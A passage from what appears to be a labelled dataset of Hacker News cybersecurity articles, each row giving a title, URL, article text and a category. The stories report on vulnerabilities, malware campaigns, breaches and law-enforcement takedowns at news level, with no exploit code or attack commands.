If exploited, the issue would have enabled a remote hacker to unauthorizedly access screenshots and sensitive information of any virtual machine running on Azure infrastructure—it doesn't matter if they're running on a shared, dedicated or isolated virtual machines.

According to researchers, this flaw is exploitable through Microsoft Azure Stack Portal, an interface where users can access clouds they have created using Azure Stack.

By leveraging an insure API, researchers found a way to get the virtual machine name and ID, hardware information like cores, total memory of targeted machines, and then used it with another unauthenticated HTTP request to grab screenshots, as shown.


Whereas, the second issue (CVE-2019-1372) is a remote code execution flaw that affected the Azure App Service on Azure Stack, which would have enabled a hacker to take complete control over the entire Azure server and consequently take control over an enterprises' business code.

What's more interesting is that an attacker can exploit both issues by creating a free user account with Azure Cloud and running malicious functions on it or sending unauthenticated HTTP requests to the Azure Stack user portal.

Check Point published a detailed technical post on the second flaw, but in brief, it resided in the way DWASSVC, a service responsible for managing and running tenants' apps and IIS worker processes, which actually run the tenant application, communicate with each other for defined tasks.

Since Azure Stack failed to check the length of a buffer before copying memory to it, an attacker could have exploited the issue by sending a specially crafted message to DWASSVC service, allowing it to execute malicious code on the server as the highest NT AUTHORITY/SYSTEM privilege.

""So how can an attacker send a message to DWASSVC (DWASInterop.dll)? By design, when running the C# Azure function, it runs in the context of the worker (w3wp.exe),"" the researchers said.

""This lets an attacker the possibility to enumerate the currently opened handles. That way, he can find the already opened named pipe handle and send a specially crafted message.""

Check Point researcher Ronen Shustin, who discovered both vulnerabilities, responsibly reported the issues to Microsoft last year, preventing hackers from causing severe damage and chaos.

After patching both issues late last year, the company awarded Shustin with 40,000 USD under its Azure bug bounty program.
",Vulnerability
Polish Banks Hacked using Malware Planted on their own Government Site,https://thehackernews.com/2017/02/bank-hacking-malware.html,"In what considered to be the largest system hack in the country's history and a massive attack on the financial sector, several banks in Poland have been infected with malware.

What's surprising? The source of the malware infection is their own financial regulator, the Polish Financial Supervision Authority (KNF) -- which, ironically, is meant to keep an eye out for the safety and security of financial systems in Poland.

During the past week, the security teams at several unnamed Polish banks discovered malicious executables on the workstations of several banks.

The KNF confirmed that their internal systems had been compromised by someone ""from another country,"" although no specifications were provided.

After downloads of suspicious files that were infecting various banking systems had been discovered on the regulator's servers, the KNF decided to take down its entire system ""in order to secure evidence.""

Here's what happened:
An unknown attacker compromised the KNF's website for well over a week by modifying one of the site's JavaScript files, making visitors to the regulator's site load the malicious JavaScript file, which then downloaded the malicious payloads.

Once downloaded and executed, the malware connected to some foreign servers to perform various malicious tasks such as reconnaissance, data exfiltration, and post exploitation.

This particular malware appears to be a new strain of nasty software which has never seen before in live attacks and has a zero detection rate on VirusTotal.

In some cases, the attackers even managed to gain control over critical servers within the targeted bank's infrastructures.

Security blogger BadCyber spoke to several banks, and some 20 commercial banks across Poland have already confirmed being victims of a malware infection while other banks keep looking.

The affected banks discovered the encrypted executable files on several servers and unusual network traffic going to uncommon IP addresses situated in other foreign countries.

Both the KNF and the Polish government confirmed local Polish media that the investigation is ongoing and that there is no indication of people's money being affected in the attack and no operations were affected.

",Malware
"Air Canada Suffers Data Breach — 20,000 Mobile App Users Affected",https://thehackernews.com/2018/08/air-canada-data-breach.html,"Air Canada has confirmed a data breach that may have affected about 20,000 customers of its 1.7 million mobile app users.

The company said it had ""detected unusual log-in behavior"" on its mobile app between August 22 and 24, during which the personal information for some of its customers ""may potentially have been improperly accessed.""

The exposed information contains basic information such as customers' names, email addresses, phone numbers, and other information they have added to their profiles.

Passport Numbers Exposed in Air Canada Data Breach

However, what's worrisome?

Hackers could have also accessed additional data including customer's passport number, passport expiration date, passport country of issuance and country of residence, Aeroplan number, known traveler number, NEXUS number, gender, date of birth, and nationality, if users had this information saved in their profile on the Air Canada mobile app.

The airline assured its customers that credit card information saved to their profile was ""encrypted and stored in compliance with security standards set by the payment card industry or PCI standards,"" and therefore, are protected.

However, Air Canada still recommended affected customers to always monitor their credit card transactions and contact their financial services provider immediately if they found any unusual or unauthorized activity.

Reset Your Password

The company estimates about 1% of its 1.7 million people—or about 20,000 users in total—who use its mobile app may have been affected by the security breach.

Although currently, it is not clear how the data breach occurred, if it was a direct breach of Air Canada's systems, or if it was due to the reuse of passwords from other sites, the airline encourages users to reset their passwords using improved password guidelines, which says passwords should be at least 10 characters long and contain one symbol.

However, as a precaution, the airline has locked down all 1.7 million accounts until all of its customers—even those whose information was not exposed in the breach—change their passwords.

Air Canada has contacted potentially affected customers directly by email starting August 29 to tell them if their account has potentially been accessed by hackers improperly.


",Data_Breaches
New malware found using Google Drive as its command-and-control server,https://thehackernews.com/2019/01/macro-malware-microsoft-office.html,"Since most security tools also keep an eye on the network traffic to detect malicious IP addresses, attackers are increasingly adopting infrastructure of legitimate services in their attacks to hide their malicious activities.

Cybersecurity researchers have now spotted a new malware attack campaign linked to the notorious DarkHydrus APT group that uses Google Drive as its command-and-control (C2) server.

DarkHydrus first came to light in August last year when the APT group was leveraging the open-source Phishery tool to carry out credential-harvesting campaign against government entities and educational institutions in the Middle East.

The latest malicious campaign conducted by the DarkHydrus APT group was also observed against targets in the Middle East, according to reports published by the 360 Threat Intelligence Center (360TIC) and Palo Alto Networks.

This time the advanced threat attackers are using a new variant of their backdoor Trojan, called RogueRobin, which infects victims' computers by tricking them into opening a Microsoft Excel document containing embedded VBA macros, instead of exploiting any Windows zero-day vulnerability.

Enabling the macro drops a malicious text (.txt) file in the temporary directory and then leverages the legitimate 'regsvr32.exe' application to run it, eventually installing the RogueRobin backdoor written in C# programming language on the compromised system.
According to Palo Alto researchers, RogueRobin includes many stealth functions to check whether it is executed in the sandbox environment, including checking for virtualized environments, low memory, processor counts, and common analysis tools running on the system. It also contains anti-debug code.

Like the original version, the new variant of RogueRobin also uses DNS tunneling—a technique of sending or retrieving data and commands through DNS query packets—to communicate with its command-and-control server.

However, researchers discovered that besides DNS tunneling, the malware has also been designed to use Google Drive APIs as an alternative channel to send data and receive commands from the hackers.
""RogueRobin uploads a file to the Google Drive account and continually checks the file's modification time to see if the actor has made any changes to it. The actor will first modify the file to include a unique identifier that the Trojan will use for future communications,"" Palo Alto researchers say.
The new malware campaign suggests that the APT hacking groups are shifting more towards abusing legitimate services for their command-and-control infrastructure to evade detection.

It should be noted that since VBA macros is a legitimate feature, most antivirus solutions do not flag any warning or block MS Office documents with VBA code.

The best way to protect yourself from such malware attacks is always to be suspicious of any uninvited document sent via an email and never click on links inside those documents unless properly verifying the source.
",Malware
Police Shut Down World's Biggest 'DDoS-for-Hire' Service–Admins Arrested,https://thehackernews.com/2018/04/ddos-for-hire-hacker.html,"In a major hit against international cybercriminals, the Dutch police have taken down the world's biggest DDoS-for-hire service that helped cyber criminals launch over 4 million attacks and arrested its administrators.

An operation led by the UK's National Crime Agency (NCA) and the Dutch Police, dubbed ""Power Off,"" with the support of Europol and a dozen other law enforcement agencies, resulted in the arrest of 6 members of the group behind the ""webstresser.org"" website in Scotland, Croatia, Canada and Serbia on Tuesday.

With over 136,000 registered users, Webstresser website lets its customers rent the service for about £10 to launch Distributed Denial of Service (DDoS) attacks against their targets with little or no technical knowledge.
""With webstresser.org, any registered user could pay a nominal fee using online payment systems or cryptocurrencies to rent out the use of stressers and booters,"" Europol said.
The service was also responsible for cyber attacks against seven of the UK's biggest banks in November last year, as well as government institutions and gaming industry.

""It's a growing problem, and one we take very seriously. Criminals are very good at collaborating, victimizing millions of users in a moment from anywhere in the world,"" said Steven Wilson, Head of Europol's European Cybercrime Centre (EC3).

The Webstresser site has now been shut down, and its infrastructure has been seized in the Netherlands, Germany, and the United States. The site has been replaced with a page announcing that law enforcement authorities had taken the service offline.
""As part of the operational activity, an address was identified and searched in Bradford and a number of items seized,"" NCA said.

Moreover, the authorities have also taken against the top users of this marketplace in the Netherlands, Italy, Spain, Croatia, the United Kingdom, Australia, Canada and Hong Kong, Europol announced.

The Dutch police said the Operation Power Off should send a clear warning to users of sites like webstresser.
""Don't do it,"" Gert Ras, head of the Dutch police's High Tech Crime unit, said. ""By tracking down the DDoS service you use, we strip you of your anonymity, hand you a criminal record and put your victims in a position to claim back damages from you.""

The police also reminded people that DDoSing is a crime, for which the ""penalties can be severe."" If you conduct a DDoS attack, or make, supply or obtain stresser or booter services, you could end up in prison, and fine or both.

",Cyber_Attack
New Apache Struts RCE Flaw Lets Hackers Take Over Web Servers,https://thehackernews.com/2018/08/apache-struts-vulnerability.html,"Semmle security researcher Man Yue Mo has disclosed a critical remote code execution vulnerability in the popular Apache Struts web application framework that could allow remote attackers to run malicious code on the affected servers.

Apache Struts is an open source framework for developing web applications in the Java programming language and is widely used by enterprises globally, including by 65 percent of the Fortune 100 companies, like Vodafone, Lockheed Martin, Virgin Atlantic, and the IRS.

The vulnerability (CVE-2018-11776) resides in the core of Apache Struts and originates because of insufficient validation of user-provided untrusted inputs in the core of the Struts framework under certain configurations.

The newly found Apache Struts exploit can be triggered just by visiting a specially crafted URL on the affected web server, allowing attackers to execute malicious code and eventually take complete control over the targeted server running the vulnerable application.

Struts2 Vulnerability - Are You Affected?

All applications that use Apache Struts—supported versions (Struts 2.3 to Struts 2.3.34, and Struts 2.5 to Struts 2.5.16) and even some unsupported Apache Struts versions—are potentially vulnerable to this flaw, even when no additional plugins have been enabled.

""This vulnerability affects commonly-used endpoints of Struts, which are likely to be exposed, opening up an attack vector to malicious hackers,"" Yue Mo said.

Your Apache Struts implementation is vulnerable to the reported RCE flaw if it meets the following conditions:
The alwaysSelectFullNamespace flag is set to true in the Struts configuration.
Struts configuration file contains an ""action"" or ""url"" tag that does not specify the optional namespace attribute or specifies a wildcard namespace.
According to the researcher, even if an application is currently not vulnerable, ""an inadvertent change to a Struts configuration file may render the application vulnerable in the future.""

Here's Why You Should Take Apache Struts Exploit Seriously

Less than a year ago, credit rating agency Equifax exposed personal details of its 147 million consumers due to their failure of patching a similar Apache Struts flaw that was disclosed earlier that year (CVE-2017-5638).

The Equifax breach cost the company over $600 million in losses.
""Struts is used for publicly-accessible customer-facing websites, vulnerable systems are easily identified, and the flaw is easy to exploit,"" said Pavel Avgustinov, Co-founder & VP of QL Engineering at Semmle.
""A hacker can find their way in within minutes, and exfiltrate data or stage further attacks from the compromised system.""

Patch Released for Critical Apache Struts Bug
Apache Struts has fixed the vulnerability with the release of Struts versions 2.3.35 and 2.5.17. Organizations and developers who use Apache Struts are urgently advised to upgrade their Struts components as soon as possible.

We have seen how previous disclosures of similar critical flaws in Apache Struts have resulted in PoC exploits being published within a day, and exploitation of the vulnerability in the wild, putting critical infrastructure as well as customers' data at risk.

Therefore, users and administrators are strongly advised to upgrade their Apache Struts components to the latest versions, even if they believe their configuration is not vulnerable right now.

This is not the first time the Semmle Security Research Team has reported a critical RCE flaw in Apache Struts. Less than a year ago, the team disclosed a similar remote code execution vulnerability (CVE-2017-9805) in Apache Struts.

UPDATE — Apache Struts RCE Exploit PoC Released
A security researcher has today released a PoC exploit for the newly discovered remote code execution (RCE) vulnerability (CVE-2018-11776) in Apache Struts web application framework.

",Cyber_Attack
Anonymous Hacker Charged with CyberStalking Faces 440 Years in Jail,https://thehackernews.com/2014/05/Anonymous-Hacker-Charged-with-CyberStalking.html,"An alleged member of the famous amorphous Hacktivist group Anonymous is now facing a total of 44 charges after the filing of the latest superseding Indictment of cyber assaults charges against him with the collective to hack Computer systems of a County Government, a school district and a Newspaper organization in Texas, federal investigators announced on Tuesday.

27-year-old Fidel Salinas of Donna, Texas, charged with several counts of cyber stalking, attempted computer hacking and with intent to harass and intimidate a female victim, making it altogether 44 counts of cyber assaults that could lead him up to 440 years in Jail.

Salinas intentionally tried to hack into the computer system of Hidalgo County practically two years earlier, for which he was charged with one count of violating the Computer Fraud and Abuse Act after a grand jury in the United States District Court for the Southern District of Texas found him guilty, last October.

It looked like, Salinas would only face a single count of charge, but charges against him continue to be filed. Earlier this month on April 2, a superseding indictment introduced 15 additional counts against him, but this week the FBI announced even more charges filed against him.

Salinas is also accused of cyberstalking a female victim at least 18 times in December 2011. ""According to the allegations, between Dec. 23, 2011 and Dec. 29, 2011, Salinas had the intent to harass and intimidate a female victim. Allegedly, he repeatedly e-mailed her, attempted to gain unauthorized access to her website, made submissions through a contact form on that site and tried to open user accounts without her consent,"" the FBI said in Tuesday's statement.

Between 2011 and 2012, Salinas allegedly hacked into the Hidalgo County website after making more than 14,000 hacking attempts as a result to access its administration management page, causing it more than $10,000 in damages. He is also charged with hacking attempts against La Joya Independent School District and The Monitor newspaper organization.
FBI announced another 18 counts of cyber-linked assaults in its latest superseding indictment, making it altogether 44 counts of cyber assaults against the accused.

The US attorney, Kenneth Magidson, who announced the latest indictment (as shown above) under which Salinas faces 44 charges of cyber-attacks, announced the counts in detail including:
Counts one and two: attempting to breach the county, school district and newspaper sites;
Count three: conspiracy with others to use a computer ""to cause emotional distress"" to the female victim, identified only as 'Y.V.';
Count four: an attempted hack of Y.V's computer;
Counts five through 22: distress the victim multiple times over the internet on his own;
Counts 33 through 37: attempts to hack the woman's computer;
Counts 38 through 43: attempts to hack the three other sites between November 2011 and January 2012;
Count 44: cause damage to the Hidalgo County sight.
Each of the charges against him carries a maximum sentence of 10 years in federal prison. His attorney has denied that Salinas has any connection to Anonymous and argues the group is no more than a chat room in which anyone can enter and engage in online conversation.

",Cyber_Attack
Firefox 67.0.4 Released — Mozilla Patches Second 0-Day Flaw This Week,https://thehackernews.com/2019/06/firefox-0day-vulnerability.html,"Okay, folks, it's time to update your Firefox web browser once again—yes, for the second time this week.

After patching a critical actively-exploited vulnerability in Firefox 67.0.3 earlier this week, Mozilla is now warning millions of its users about a second zero-day vulnerability that attackers have been found exploiting in the wild.

The newly patched issue (CVE-2019-11708) is a ""sandbox escape"" vulnerability, which if chained together with the previously patched ""type confusion"" bug (CVE-2019-11707), allows a remote attacker to execute arbitrary code on victims' computers just by convincing them into visiting a malicious website.

Browser sandboxing is a security mechanism that keeps third-party processes isolated and confined to the browser, preventing them from damaging other sensitive parts of a computer's operating system.

""Insufficient vetting of parameters passed with the Prompt:Open IPC message between child and parent processes can result in the non-sandboxed parent process opening web content chosen by a compromised child process,"" the advisory explains.

Firefox 0-Days Found Exploited in the Wild

Mozilla has already been aware of the first issue since April when a Google Project Zero researcher reported it to the company, but it learned about the second issue and attacks in the wild just last week when attackers started exploiting both the flaws together to target employees from Coinbase platform and users of other cryptocurrency firms.

Just yesterday, macOS security expert Patrick Wardle also published a report revealing that a separate campaign against cryptocurrency users is also using same Firefox 0-days to install a macOS malware on targeted computers.

At this moment it's not clear if attackers independently discovered the first vulnerability just in time when it was already reported to Mozilla or gained classified bug-report information through another way.

Install Firefox Patches to Prevent Cyber Attacks

Anyway, the company has now released Firefox version 67.0.4 and Firefox ESR 60.7.2 that address both the issues, preventing attackers from remotely taking control over your systems.

Though Firefox installs latest available updates automatically, users are still advised to ensure they are running Firefox 67.0.4 or later.

Besides this, just like the patch for the previous issue, it is also expected that the Tor Project will once again release a new version of its privacy browser very soon to patch the second bug as well.

Important Update (21/06/2019) ➤ The Tor Project on Friday also released second update (Tor Browser 8.5.3) for its privacy web-browser this week that patches the second vulnerability Firefox patched yesterday.
",Malware
New AdLoad Variant Bypasses Apple's Security Defenses to Target macOS Systems,https://thehackernews.com/2021/08/new-adload-variant-bypasses-apples.html,"A new wave of attacks involving a notorious macOS adware family has evolved to leverage around 150 unique samples in the wild in 2021 alone, some of which have slipped past Apple's on-device malware scanner and even signed by its own notarization service, highlighting the malicious software ongoing attempts to adapt and evade detection.
""AdLoad,"" as the malware is known, is one of several widespread adware and bundleware loaders targeting macOS since at least 2017. It's capable of backdooring an affected system to download and install adware or potentially unwanted programs (PUPs), as well as amass and transmit information about victim machines.
The new iteration ""continues to impact Mac users who rely solely on Apple's built-in security control XProtect for malware detection,"" SentinelOne threat researcher Phil Stokes said in an analysis published last week. ""As of today, however, XProtect arguably has around 11 different signatures for AdLoad [but] the variant used in this new campaign is undetected by any of those rules.""
The 2021 version of AdLoad latches on to persistence and executable names that use a different file extension pattern (.system or .service), enabling the malware to get around additional security protections incorporated by Apple, ultimately resulting in the installation of a persistence agent, which, in turn, triggers an attack chain to deploy malicious droppers that masquerade as a fake Player.app to install malware.
What's more, the droppers are signed with a valid signature using developer certificates, prompting Apple to revoke the certificates ""within a matter of days (sometimes hours) of samples being observed on VirusTotal, offering some belated and temporary protection against further infections by those particular signed samples by means of Gatekeeper and OCSP signature checks,"" Stokes noted.
SentinelOne said it detected new samples signed with fresh certificates in a couple of hours and days, calling it a ""game of whack-a-mole."" First samples of AdLoad are said to have appeared as early as November 2020, with regular further occurrences across the first half of 2021, followed by a sharp uptick throughout July and, in particular, the early weeks of August 2021.
AdLoad is among the malware families, alongside Shlayer, that's been known to bypass XProtect and infect Macs with other malicious payloads. In April 2021, Apple addressed an actively exploited zero-day flaw in its Gatekeeper service (CVE-2021-30657) that was abused by the Shlayer operators to deploy unapproved software on the compromised systems.
""Malware on macOS is a problem that the device manufacturer is struggling to cope with,"" Stokes said. ""The fact that hundreds of unique samples of a well-known adware variant have been circulating for at least 10 months and yet still remain undetected by Apple's built-in malware scanner demonstrates the necessity of adding further endpoint security controls to Mac devices.""

",Malware
How to Freeze Credit Report To Protect Yourself Against Identity Theft,https://thehackernews.com/2015/10/howto-Freeze-Credit-Report.html,"If your Social Security number gets hacked in any data breaches, including recently hacked T-Mobile, then there's a way to prevent hackers from misusing your identity (i.e. identity theft).

The solution here is that you can institute a security freeze at each of the three credit bureaus, Equifax, Experian, or TransUnion.

Once frozen, nobody will be allowed to access your credit report, which will prevent any identity thieves from opening new accounts in your name.

Because most creditors required to see your credit report before approving a new account. But, if they are restricted to see your file, they may not extend the credit or open a new account in your name.

However, there are some disadvantages of doing so.
1. Cost

The cost of a security freeze differs by state (check yours here). However, it is often free for already affected people, but the issue is – if you want to let anyone check your credit, you will need to pay a fee every time to lift the freeze.

This happens not just for your credit applications, but your credit report also gets pulled when you register for a mobile phone contract or apply for a new job or a new apartment as well.

The credit agencies will provide you a unique password to lift the freeze and charge up to $12 each time you lift the freeze. So this option can get costly.

2. Once Used, Nobody can Help

Moreover, if an identity thief has already used your stolen data to open accounts in your name, then a credit freeze will not help you out.

You can check your credit report for free three times a year at annualcreditreport.com. If you suspect any fraud, change your passwords, notify your financial institutions, keep an eye on your financial statements, and report to police.

",Data_Breaches
Outdated version of WordPress leads to MasterCard Hack,https://thehackernews.com/2013/01/outdated-version-of-wordpress-leads-to.html,"On tip of a readers, yesterday we came across a new MasterCard hack, performed by Syrian Electronic Army. Hackers was able to breach MasterCard Blog (https://insights.mastercard.com) and make a new blog post on the website with title ""Hacked By Syrian Electronic Army"" on January 5, 2013.

For now MasterCard deleted that post, but readers can check Google cache. Today we tried to contact the hacker, but may be they are busy in Hacking Next Target , I started my investigation that how they can hack such a big economic website's blog.


Starting from very first step, Information gathering about your target. Simple by reviewing the source code we found that MasterCard blog is using Wordpress. We all know, WordPress is particular a popular attack vector for cyber criminals.
To know this, I just tried to access the readme.html file of CMS , that's it - MasterCard #fail ! They are using an old Wordpress 3.3.2 version, instead of the current version 3.5 and Proudly vulnerable to many flaws like Cross Site scripting, File upload vulnerability, Cross-site request forgery (CSRF) etc.

As far I know, There is a good Cross-site request forgery (CSRF) exploit available on internet for Wordpress 3.3.2 Cross-site request forgery, that allow attacker to add a new admin user, using bit of social engineering with administrator.

Possibly Hacker may use any one of these vulnerability to hack MasterCard blog. WordPress and its plug-ins are always primary attack vectors for many attacks. You should always be using the latest version of your software, especially if you're a major company that is often targeted by hackers.

If you're also not using the latest version of WordPress, you should upgrade immediately.

",Vulnerability
XSS vulnerability in Bing.com Maps by Juan Sacco (runlvl),https://thehackernews.com/2011/08/xss-vulnerability-in-bingcom-maps.html,"XSS vulnerability in Bing.com Maps

One of the Security Researcher ""Juan Sacco (runlvl)"" - Insecurity Research Labs expose the Cross Site vulnerability (XSS) in Bing.com Search Engine. BING.COM is prone to a XSS vulnerability because the application failsto properly perform adequate boundary checks on user-supplied data.An attacker can exploit this issue to execute arbitrary code in thevictim's browser.

Details :
The reflected XSS vulnerability is a variant of a cross-site scriptingflaw: it occurs when the data provided by the attacker is exectued bythe browser, and then displayed on ""normal"" pages returned to otherusers in the course of regular browsing, without proper HTML escaping. Aclassic example of this is with online message boards where users areallowed to post HTML formatted messages for other users to read.
Vulnerable Link

",Vulnerability
2012 Most Vulnerable Cities At Risk Of Cyber Crime,https://thehackernews.com/2012/02/2012-most-vulnerable-cities-at-risk-of.html,"2012 Most Vulnerable Cities At Risk Of Cyber Crime

Norton's study showed the city was one of the ten worst for hacking. Each city was ranked by the prevalence of PCs and smartphones in addition to social media use with risk factors like unsecured Wi-Fi hotspots and malware attempts. Manchester was found to be the riskiest city and Vancouver is the third most vulnerable city in Canada for cyber-crime.

The Top 10 Riskiest Online Cities in the U.S. are:
#1 – Washington, D.C.
#2 – Seattle
#3 – San Francisco
#4 – Atlanta
#5 – Boston
#6 – Denver
#7 – Minneapolis
#8 – Sacramento, Calif.
#9 – Raleigh, N.C.
#10 – Austin, Texas

The Top 10 Riskiest Online Cities in Canada are:
#1 - Burlington, ON
#2 - Port Coquitlam, BC
#3 - Vancouver, BC
#4 - Langley, BC
#5 - Calgary, AB
# 6 - Fredericton, NB
#7 - Toronto, ON
#8 - New Westminster, BC
#9 - Edmonton, AB
#10 - Victoria, BC

Cyber crime expert Simon Ellson said there are a numer of steps people can take to stay safe when they are using accessing the web via a smart phone or laptop.Mr Ellson said: ""Never ask your web browser to store your username and password for a website. If you are going to create a password, which you should for any device that you are using, make it unique and change it regularly.Ultimately, make sure you have got some protection on the device you are using. It is a bit like the lock on your front door, if you don't put some kind of preotection on your device, it is like not locking your front door.""

Top 3 Safety Tips from Norton
1. Proceed with caution when using Wi-Fi hotspots
2. Use complex and unique passwords for each site
3. Stay educated

According to Symantec, people who are more connected online are more vulnerable to cyber-criminals. Cyber crime rates cost Canadians $5.5 billion in 2010, according to a study released by Symantec. At least 7.3 million Canadians were victims of cybercrime last year, and there are about 20,000 new victims each day.

",Vulnerability
"Android Bloatware, Another Serious Android Privacy Issue",https://thehackernews.com/2011/12/android-bloatware-another-serious.html,"Android Bloatware, Another Serious Android Privacy Issue

Researchers have found that some Android smartphones are more vulnerable to attacks than others, thanks to add-on software and skins that get installed by handset makers before they ship their smartphones to subscribers. It's not just Carrier IQ that Android users need to be worried about.

A team of researchers from North Carolina State University discovered the security vulnerability on eight different smartphones from Google, HTC, Motorola and Samsung. Black hat hacker can exploit these vulnerabilities to record phone calls (see proof of concept video below), wipe out your phone, call or text premium rate numbers, and read your private messages and emails, all without your permission, of course. According to the paper published by the team.

""Our results with eight phone images show that among 13 privileged permissions examined so far, 11 were leaked, with individual phones leaking up to eight permissions. By exploiting them, an untrusted application can manage to wipe out the user data, send out SMS messages, or record user conversation on the affected phones - all without asking for any permission"". According to the researchers, certain system configurations added on top of the Android OS by manufacturers, contain a backdoor to this personal information.

Android permissions are cornerstone of Android security and user privacy. For example, if an application requests permission to use a user's location--perhaps as part of an advertiser-backed effort to track their online behavior--the smartphone owner can deny that request. Likewise, permissions serve as a last line of defense against malicious applications that may end up on their phones. For example, if an application attempts to access both the Internet and a user's address book, but shouldn't need to do so, it could indicate that the application in question is attempting to steal data and phone home.

To test the permission-enforcement security model on Android smartphones, the researchers built a tool, dubbed Woodpecker, that subjects images of Android operating systems to permission tests. As a baseline, they first studied the Google Nexus One and Nexus S smartphones which come with a vanilla version of Android installed as well as the Motorola Droid, which is ""close to the reference Android design,"" they said.

The university researchers explained in their paper, as well as in a YouTube video, that the code that allows these apps to sidestep Android's permission system lies in the interfaces and services phone manufacturers add on to their devices to supplement Google's firmware.

To Ensure your Privacy ,You can use custom ROM To Protect your Privacy on Android Phones By rooting your phone.

",Vulnerability
Company Detected Years-Long Breach Only After Hacker Maxed Out Servers' Storage,https://thehackernews.com/2019/11/hacking-file-storage.html,"What could be even worse than getting hacked?

It's the ""failure to detect intrusions"" that always results in huge losses to the organizations.

Utah-based technology company InfoTrax Systems is the latest example of such a security blunder, as the company was breached more than 20 times from May 2014 until March 2016.

What's ironic is that the company detected the breach only after it received an alert that its servers had reached maximum storage capacity due to a data archive file that the hacker created.

InfoTrax Systems is an American company based in Utah that provides backend operations systems to multi-level marketers, which also includes an extensive amount of sensitive data on their users' compensation, inventory, orders, and accounting.

The breach reportedly occurred in May 2014 when the hacker exploited vulnerabilities in InfoTrax's server and its client's website to gain remote control over its server, allowing him to gain access to sensitive personal information for 1 million consumers.

At the time, the United States Federal Trade Commission (FTC) sued the company for failing to safeguard the personal information the company maintained on behalf of its clients.

According to the FTC complaint, the hacker remotely accessed the system 17 times over the next 21 months without being detected and then began pulling the personal information of consumers on March 2, 2016.

The stolen information included customers' full names, social security numbers, physical addresses, email addresses, telephone numbers, usernames, and passwords for 4100 distributor and admin accounts on the InfoTrax service.
What's even worse? The leaked data also included some customers' payment card information (full or partial credit card and debit card numbers, CVVs, and expiration dates), as well as bank account information, including account and routing numbers.

The company discovered the breach on March 7, 2016, when it began receiving alerts that one of its servers had reached its maximum capacity, which was due to a massive data archive file that the hacker created on its customers.

Surprisingly, the intruder managed to breach the company at least two more times even after InfoTrax Systems became aware of the intrusion.

On March 14, 2016, the hacker harvested over 2300 unique, full payment card numbers—including names, physical addresses, CVVs, and expiration dates—and other billing data newly submitted by distributors during the checkout process.

Then again, on March 29, 2016, the hacker used the user ID and password of a valid InfoTrax distributor account to upload more malicious code to collect newly submitted payment card data from that client's website again.

According to the FTC, InfoTrax Systems failed to ""inventory and delete personal information is no longer needed, conduct code review of its software and testing of its network, detect malicious file uploads, adequately segment its network, and implement cybersecurity safeguards to detect unusual activity on its network.""

On Tuesday, the FTC published a press release, announcing a proposed settlement, which requires InfoTrax Systems to implement a comprehensive data security program that corrects the failures identified in the complaint.

Besides this, the proposed settlement also requires InfoTrax Systems to obtain third-party assessments of its information security program every two years.

",Data_Breaches
Newly Uncovered 'SowBug' Cyber-Espionage Group Stealing Diplomatic Secrets Since 2015,https://thehackernews.com/2017/11/sowbug-hacking-group.html,"A previously unknown hacking and cyber-espionage group that has been in operation since at least 2015 have conducted a series of highly targeted attacks against a host of government organizations in South America and Southeast Asia to steal their sensitive data.

Codenamed Sowbug, the hacking group has been exposed by Symantec security researchers, who spotted the group conducting clandestine attacks against foreign policy institutions, government bodies and diplomatic targets in countries, including Argentina, Brazil, Ecuador, Peru and Malaysia.

Symantec analysis found that the Sowbug hacking group uses a piece of malware dubbed ""Felismus"" to launch its attacks and infiltrate their targets.

First identified in late March of this year, Felismus is a sophisticated, well-written piece of remote access Trojan (RAT) with a modular construction that allows the backdoor trojan to hide and or extend its capabilities.

The malware allows malicious actors to take complete control of an infected system and like most RATs, Felismus also allows attackers to communicate with a remote server, download files, and execute shell commands.

By analysing Felismus, researchers were able to connect previous attack campaigns with the Sowbug hacking group, indicating that it had been active since at least early-2015 and may have been operating even earlier.
""To date, Sowbug appears to be focused mainly on government entities in South America and Southeast Asia and has infiltrated organizations in Argentina, Brazil, Ecuador, Peru, Brunei and Malaysia,"" the Symantec report said.
""The group is well resourced, capable of infiltrating multiple targets simultaneously and will often operate outside the working hours of targeted organisations.""
Although it is still unclear how the Sowbug hackers managed to gain a foothold in computer networks, evidence gathered by researchers suggested the hackers have made use of fake, malicious software updates of Windows or Adobe Reader.

The researchers also found that the group have used a tool known as Starloader to deploy additional malware and tools, such as credential dumpers and keyloggers, on victims' networks.

Symantec researchers have found evidence of Starloader files being spread as software updates entitled AdobeUpdate.exe, AcrobatUpdate.exe, and INTELUPDATE.EXE among others.

Instead of compromising the software itself, Sowbug gives its hacking tools file names ""similar to those used by software and places them in directory trees that could be mistaken for those used by the legitimate software.""

This trick allows the hackers to hide in plain sight, ""as their appearance is unlikely to arouse suspicion.""

The Sowbug hackers took several measures to remain under-the-radar by carrying out their espionage operations outside of standard office hours to maintain the presence on targeted networks for months at a time.

In one instance, the hacking group remained undetected on the target's network for up to six months between September 2016 and March 2017.

Besides the Felismus malware's distribution method used in the Sowbug operation, the identity of Sowbug attackers also remains unknown.

",Cyber_Attack
Free Ransomware Decryption and Malware Removal ToolKit,https://thehackernews.com/2015/05/ransomware-decryption-software.html,"A security researcher has compiled a ransomware removal and rescue kit to help victims deal with ransomware threats and unlock encrypted files without paying off a single penny to the cyber crooks.

Ransomware is a growing threat to the evolution of cyber criminals techniques in an attempt to part you from your money. Typically, the malicious software either lock victim's computer system or encrypt the documents and files on it or in some cases both, to extort money from victims.

Most often ransomware victims end up paying off crooks either due to the threat of losing their important files or in panic as the threat pretends to be from some government agency.

Though IT professionals and security companies have been dealing and fighting back with the ransomware threats, security professional Jada Cyrus has compiled a ""Ransomware Rescue Kit"" or ""Ransomware Removal Kit"" and made it available for free online.

Ransomware removal kit - Download for Free

The Ransomware Malware Removal kit supports decryption tools for different strains of ransomware variants along with instructions on how to perform the necessary tasks.
""You should never pay the ransom,"" Cyrus says. ""This will only reinforce this type of attack. According to most security intelligence reports, criminal enterprises are already making large profits from ransomware.""
The ransomware response kit comes with the removal tools to combat the following variants of malware strains:
CryptoLocker: CryptoLocker removal tools and Threat Mitigation
CryptoLockerDecrypt: FireEye Tool to decrypt files encrypted by the CryptoLocker ransomware
TrendMicro_Ransomware_RemovalTool: General ransomware removal tool from TrendMicro
FBIRansomWare: FBIRansomWare Removal Tools
CoinVault: CoinVault ransomware removal tools
TeslaCrypt: Tool for removing this variant of CryptoLocker ransomware

Cyrus encourages system administrators and IT professionals not to pay the ransom to the cyber criminals. Instead, they should first remove the infected machine from the corporate network to prevent the spreading of malware.

Once this is done, the users should then attempt to identify the type of ransomware their machine is infected with. They should take images of the encrypted box before removal for later analysis.

Once the type of ransomware is identifiable, you have the above option to try and decrypt files and remove the ransomware threat from the infected system with the help of the kit's removal tools.

